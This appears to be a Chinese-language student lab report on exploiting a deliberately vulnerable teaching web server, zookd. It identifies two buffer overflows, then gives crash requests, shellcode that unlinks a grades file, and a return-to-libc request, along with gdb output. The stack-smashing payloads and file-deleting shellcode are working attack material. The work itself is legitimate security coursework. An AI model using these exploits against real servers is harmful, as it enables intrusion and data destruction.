1.寻找并触发漏洞

1.1 漏洞一

1.1.1 漏洞发现

在代码中查找可能发送缓冲区溢出的 for 循环，在 http.c 文件中发现 url_decode 定义中的 for 循环。通过读代码可以发现，若*dst != '\0'，循环将无法跳出，dst 始终增长将可能发生缓冲区溢出。

```
437  void url_decode(char *dst, const char *src)
438  {
439      for (;;)
440      {
441          if (src[0] == '%' && src[1] && src[2])
442          {
443              char hexbuf[3];
444              hexbuf[0] = src[1];
445              hexbuf[1] = src[2];
446              hexbuf[2] = '\0';
447
448              *dst = strtol(&hexbuf[0], 0, 16);
449              src += 3;
450          }
451          else if (src[0] == '+')
452          {
453              *dst = ' ';
454              src++;
455          }
456          else
457          {
458              *dst = *src;
459              src++;
460
461              if (*dst == '\0')
462                  break;
463          }
464
465          dst++;
466      }
467  }
```

在代码中搜索 url_code()函数，在 http_request_line()找到调用 url_decode()函数的位置，其中两个参数分别为 reqpath 与 sp1。http_request_line()函数是用于解析 HTTP 请求的函数，url_code()将请求路径中的 URL 转义序列解码为 reqpath。

```
const char *http_request_line(int fd, char *reqpath, char *env, size_t *env_len)
```

```
/* decode URL escape sequences in the requested path into reqpath */
url_decode(reqpath, sp1);
```

继续查找调用 http_request_line() 的位置，在 zookd.c 中找到调用 http_request_line()函数的部分，进而找到了 reqpath 的定义大小。

```
69      /* get the request line */
70      if ((errmsg = http_request_line(fd, reqpath, env, &env_len)))
71          return http_err(fd, 500, "http_request_line: %s", errmsg);
```

关注到参数之一的 reqpath 的定义如下。

```
63      static char env[8192];  /* static variables are not on the stack */
64      static size_t env_len;
65      char reqpath[2048];
66      const char *errmsg;
67      int i;
```

1.1.2 漏洞触发

根据 1.1.1 节内容的分析可知，要想使该漏洞发生缓冲区溢出，需要构造一个包含长度超过 reqpath 大小的 URL 的 HTTP 请求。因此编写如下程序，存储命名为 exploit-2a.py。

```
    req =   "GET /" + 2100 * "A" + " HTTP/1.0\r\n" + \
            "\r\n"
    return req
```

在终端一运行./clean-env.sh ./zookld zook-exstack.conf，启动服务。

在终端二执行 gdb -p $(pgrep zookd-exstack)，并在 url_decode()函数处设置断点。

在终端三执行./exploit-2a.py localhost 8080。

使用 info reg 指令查看寄存器，发现 ebp 的地址为 0xbffff618，使用 x/10x oxbfff618 指令查看 ebp 及之后的十个字节的内容，发现均为 0x41414141，即我们输入的 2100 * ‘A’。

```
(gdb) info reg
eax            0x0      0
ecx            0x0      0
edx            0x886    2182
ebx            0x401d1000       1075646464
esp            0xbfffede0       0xbfffede0
ebp            0xbffff618       0xbffff618
esi            0x0      0
edi            0x0      0
eip            0x8048ef6        0x8048ef6 <process_client+46>
eflags         0x202    [ IF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
(gdb) x/10x 0xbffff618
0xbffff618:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff628:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff638:     0x41414141      0x00000041
```

1.2 漏洞二

1.2.1 漏洞发现

搜索危险函数之一 sprintf()函数，在 http.c 文件中发现该函数，相关代码如下图所示。此处通过 sprintf()函数将 buf 的内容附在”HTTP_”之后，写入 envvar 中。查看 http_request_headers()中，envvar 与 buf 的定义，关注到 envvar 的大小为 512，而 buf 的大小为 8192，buf 的容量远大于 envvar，若 buf 的长度过长，此处无疑会发生缓冲区溢出。因此，只要构造一个请求，使得 buf 像 envvar 中写入远大于 512 个字节的内容，就可以造成程序崩溃。

```
163             if (strcmp(buf, "CONTENT_TYPE") != 0 &&
164                 strcmp(buf, "CONTENT_LENGTH") != 0) {
165                 sprintf(envvar, "HTTP_%s", buf);
166                 setenv(envvar, value, 1);
```

```
116   const char *http_request_headers(int fd)
117   {
118       static char buf[8192];      /* static variables
119       int i;
120       char value[512];
121       char envvar[512];
```

1.2.2 HTTP 请求及结果

http_request_headers()函数是用于解析处理 HTTP 请求在中头部行的函数，因此我们需要构造一个头部大小超过 envvar 大小的 HTTP 请求，请求内容如下。

命名为./exploit-2a.py。

```
    req =   "GET / HTTP/1.0\r\n" + \
            "User-Agent: " + 'A' * 550 + \
            "\r\n"
    return req
```

在终端一运行./clean-env.sh ./zookld zook-exstack.conf，启动服务。

在终端二执行 gdb -p $(pgrep zookfs-exstack)，并在 http_request_headers()函数处设置断点。

在终端三执行./exploit-2b.py localhost 8080。

在断点处使用 p $ebp+4 查看子程序的返回地址，继续执行该程序，查看程序的返回地址处的内容，发现被改为 0x41414141，发生了缓冲区溢出。

```
124         touch("http_request_headers");
(gdb) p $ebp+4
$1 = (void *) 0xbfffddfc
(gdb) p &value
$2 = (char (*)[512]) 0xbfffdbe4
(gdb) until 157
http_request_headers (fd=3) at http.c:159
159             url_decode(value, sp);
(gdb) x 0xbfffddfc
0xbfffddfc:     0x08048d2a
(gdb) n
163             if (strcmp(buf, "CONTENT_TYPE") != 0 &&
(gdb) x 0xbfffddfc
0xbfffddfc:     0x41414141
(gdb) n
164                 strcmp(buf, "CONTENT_LENGTH") != 0) {
(gdb)
163             if (strcmp(buf, "CONTENT_TYPE") != 0 &&
(gdb)
165                 sprintf(envvar, "HTTP_%s", buf);
(gdb)
166                 setenv(envvar, value, 1);
(gdb)
170         }
(gdb)
129             if (http_read_line(fd, buf, sizeof(buf)) < 0)
(gdb)
130                 return "Socket IO error";
(gdb)
173     }
(gdb)
0x41414141 in ?? ()
```

1.3 结果验证

据以上思路，将 1.1.2 以及 1.2.3 节中编写的程序命名分别命名为 exploit-2a.py，exploit-2b.py,通过运行 make check-crash 指令进行检测，检测结果如下图，可以看到两个文件通过检测，漏洞发现成功。

```
httpd@vm-6858:~/lab$ make check-crash
./check-bin.sh
WARNING: bin.tar.gz might not have been built this year (2019);
WARNING: if 2019 is correct, ask course staff to rebuild bin.tar.gz.
tar xf bin.tar.gz
./check-part2.sh zook-exstack.conf ./exploit-2a.py
./check-part2.sh: line 8:  1087 Terminated              strace -f -e none -o "$STRACELOG" ./clean-env.sh ./zookld $1 &> /dev/null
1106  --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x41414141} ---
1106  +++ killed by SIGSEGV +++
PASS ./exploit-2a.py
./check-part2.sh zook-exstack.conf ./exploit-2b.py
1123  --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x41414141} ---
1123  +++ killed by SIGSEGV +++
PASS ./exploit-2b.py
```

2.可执行栈上 shellcode 攻击

2.1 shellcode.S 编写

我们通过对原有的 Shellcode.S 进行修改，以完成我们 shellcode 攻击的目标。

首先需要修改原有参数的定义，改为我们攻击的目标文件/home/httpd/grades.txt，并修改其长度为 22。

其次，需要更改系统调用号。在本实验中，我们使用的是 unlink()系统调用，因此将系统调用号改为 SYS_unlink。

由于该函数只需要一个参数，因此我们需要删除多余的传递参数的指令。

```
#include <sys/syscall.h>

#define STRING  "/home/httpd/grades.txt"
#define STRLEN  22
#define ARGV    (STRLEN+1)
#define ENVP    (ARGV+4)

.globl main
        .type   main, @function

 main:
        jmp     calladdr

 popladdr:
        popl    %esi
        xorl    %eax,%eax               /* get a 32-bit zero value */
        movb    %al,(STRLEN)(%esi)      /* null-terminate our string */
        movb    $SYS_unlink,%al         /* syscall arg 1: syscall number */
        movl    %esi,%ebx               /* syscall arg 2: string pathname */
        int     $0x80                   /* invoke syscall */

        xorl    %ebx,%ebx               /* syscall arg 2: 0 */
        movl    %ebx,%eax
        inc     %eax                    /* syscall arg 1: SYS_exit (1), uses */
                                        /* mov+inc to avoid null byte */
        int     $0x80                   /* invoke syscall */

 calladdr:
        call    popladdr
        .ascii  STRING
```

2.2 HTTP 请求构造

在实验二中，我们利用 1.2 节中提到的漏洞二进行攻击。为实现该攻击，需

要获得 value 的起始地址，即为 shellcode 的起始地址，对应下图中 stack_buffer 的地址。

```
stack_buffer = 0xbfffdbe4
stack_saved_ebp = 0x12345678
stack_retaddr = stack_saved_ebp + 4
```

通过 1.2 节的介绍，该漏洞在解析过长的头部行时会触发缓冲区溢出，因此我们需要构造一个特殊的头部。首先用 shellcode 的内容以及'A'填充，最后加上 shellcode 的起始地址，使用 shellcode 的起始地址覆盖原本的返回地址。

```
    req =   "GET /" +" HTTP/1.0\r\n" + \
            "User-Agent: " + urllib.quote(shellcode) + 'A' * (536-len(shellcode)) + \
            struct.pack("<I",stack_buffer) + "\r\n" + \
            "\r\n"
    return req
```

2.3 结果验证

据以上思路，将 3.2 节中编写的程序命名为 exploit-3.py,通过运行 make check-exstack 指令进行检测，检测结果如下图，可以看到通过检测，攻击成功。

```
httpd@vm-6858:~/lab1$ make check-exstack
./check-bin.sh
WARNING: bin.tar.gz might not have been built this year (2019);
WARNING: if 2019 is correct, ask course staff to rebuild bin.tar.gz.
tar xf bin.tar.gz
./check-part3.sh zook-exstack.conf ./exploit-3.py
PASS ./exploit-3.py
httpd@vm-6858:~/lab1$
```

3. 不可执行栈上 return-to-libc 攻击

3.1 相关地址获得

首先我们需要查找欲利用的在标准库 libc 中函数的位置，在本实验中，我们需要用到 unlink 与 exit 这两个函数，unlink 与 exit 程序是驻留在内核态的，所有程序共享内核态的函数，因此我们可以使用 gdb 指令来获取这两个程序的地址。如下图所示，unlink 的地址为 0x40102450，exit 的地址为 0x40058150。

```
(gdb) p unlink
$1 = {<text variable, no debug info>} 0x40102450 <unlink>
(gdb) p exit
$2 = {<text variable, no debug info>} 0x40058150 <__GI_exit>
(gdb)
```

本实验利用 1.1 中提到的，即 url_code()函数中 for 循环的漏洞，进行

return-to-libc 攻击。为实现这个攻击，我们需要获得 ebp 与 reqpath 的地址。利用 gdb -q -p $(pgrep zookd)指令，运行 exploit-template.py ，在 process_client()处设置断点，查询过程及结果如下。

```
(gdb) b process_client
Breakpoint 1 at 0x8048ed1: file zookd.c, line 70.
(gdb) c
Continuing.

Breakpoint 1, process_client (fd=5) at zookd.c:70
warning: Source file is more recent than executable.
70          if ((errmsg = http_request_line(fd, reqpath, env, &env_len)))
(gdb) p $ebp
$1 = (void *) 0xbffff618
(gdb) p &reqpath
$2 = (char (*)[2048]) 0xbfffee08
(gdb)
```

3.2 HTTP 请求构造

（1）根据 3.1 节中得到的地址可知，reqpath 的地址为 0xbfffee08，而 stack_retaddr = stack_saved_ebp + 4 = 0xbffff618 + 4 = 0xbffff61C，若想将二者之间的信息填满，共需要 stack_retaddr - &reqpath = 2068，因此需要 2067 个'A'。

（2）为了使 process_client()这个漏洞函数返回时，漏洞函数返回时，根据返回地址跳转到 libc 函数，即 unlink()函数，因此需要使用 unlink()函数的地址覆盖原本的返回地址；同时为了使程序在执行完 unlink()函数后退出，达到攻击不被感知的目的，需要将 exit()函数的地址写入 ebp + 8 的位置。

（3）之后需要将返回地址以及 unlink()函数所用的参数写入之后的内存中。

根据以上思路，构造如些的 HTTP 请求。

```
stack_buffer = 0xbfffdbe4
stack_saved_ebp = 0xbffff618
stack_retaddr = stack_saved_ebp + 4

def build_exploit(shellcode):
    file_name = "/home/httpd/grades.txt"
    unlink_addr = 0x40102450
    exit_addr = 0x40058150
    req =   "GET /" + 'A' * 2067 + \
            struct.pack("<I", unlink_addr) + \
            struct.pack("<I",exit_addr) + \
            struct.pack("<I",stack_saved_ebp + 16) + \
            urllib.quote(file_name) + \
            " HTTP/1.0\r\n" + \
             "\r\n"
    return req
```

3.3 结果验证

据以上思路，将 3.2 节中编写的程序命名为 exploit-4a.py,并将同样的内容复制，存储为 exploit-4b.py，通过运行 make check-libc 指令进行检测，检测结果如下图，可以看到通过检测，攻击成功。